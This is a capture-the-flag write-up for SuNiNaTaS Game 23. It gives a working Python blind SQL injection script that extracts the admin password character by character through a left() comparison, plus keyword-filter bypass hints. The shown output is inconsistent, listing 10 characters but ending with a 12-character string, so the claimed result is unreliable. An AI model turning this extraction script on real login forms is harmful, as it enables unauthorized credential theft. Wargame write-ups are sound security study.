Suninatas Game 23

challenges

Game 23

This is a hard blind SQL injection challenge with extensive filtering. Blocked keywords include: admin, select, union, by, having, substring, from, char, delay, 0x, hex, asc, desc.

Start with credentials guest/guest. The hint is to bypass the admin string filter using string concatenation: ad'+'min'.

Since substring() is filtered, use the left() function instead to extract characters from the left side of the password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests
import string
import sys

TARGET_URL = "http://suninatas.com/challenge/web23/web23.asp"
import os
COOKIE_HEADER = os.environ.get("SUNINATAS_COOKIE")
if not COOKIE_HEADER:
raise SystemExit("SUNINATAS_COOKIE is required")
SESSION = requests.Session()
SESSION.headers["Cookie"] = COOKIE_HEADER

CHARSET = string.ascii_letters + string.digits + "!@#$%^&*()_+"
MAX_LENGTH = 31
SUCCESS_INDICATOR = "OK <font size=4 color=blue>admin"

def check_str(count, test_string):
params = {
'id': f"'or left(pw,{count})='{test_string}'--",
'pw': 'ar',
}
try:
response = SESSION.get(TARGET_URL, params=params, timeout=5, allow_redirects=False)
response.raise_for_status()
if 300 <= response.status_code < 400:
raise RuntimeError("Redirect received; oracle result is unknown")
return SUCCESS_INDICATOR in response.text
except requests.RequestException as e:
raise RuntimeError("Request failed; oracle result is unknown") from e

def main():
print(f"[*] Starting Blind SQL Injection on {TARGET_URL}")
extracted_string = ""

for i in range(1, MAX_LENGTH + 1):
found = False
for char in CHARSET:
if check_str(i, extracted_string + char):
extracted_string += char
print(f"[+] Char {i}: {char}")
found = True
break

if not found:
raise RuntimeError(f"No character matched at position {i}; length or alphabet is unresolved")

print(f"\n[EXTRACTED CANDIDATE] {extracted_string}")

if __name__ == "__main__":
main()

The following retained transcript shows only an initial prefix, not a complete extraction or a success response. A current true/false control pair for SUCCESS_INDICATOR and a separately confirmed length are missing; an unmatched position now aborts instead of silently ending the extraction. The ad'+'min' hint above is not used by the shown or left(...) probe, and that variant is not independently verified here.

1
2
3
4
5
6
7
8
9
10
[+] Char 1: v
[+] Char 2: 3
[+] Char 3: r
[+] Char 4: y
[+] Char 5: h
[+] Char 6: a
[+] Char 7: r
[+] Char 8: d
[+] Char 9: s
[+] Char 10: q
v3ryhardsqli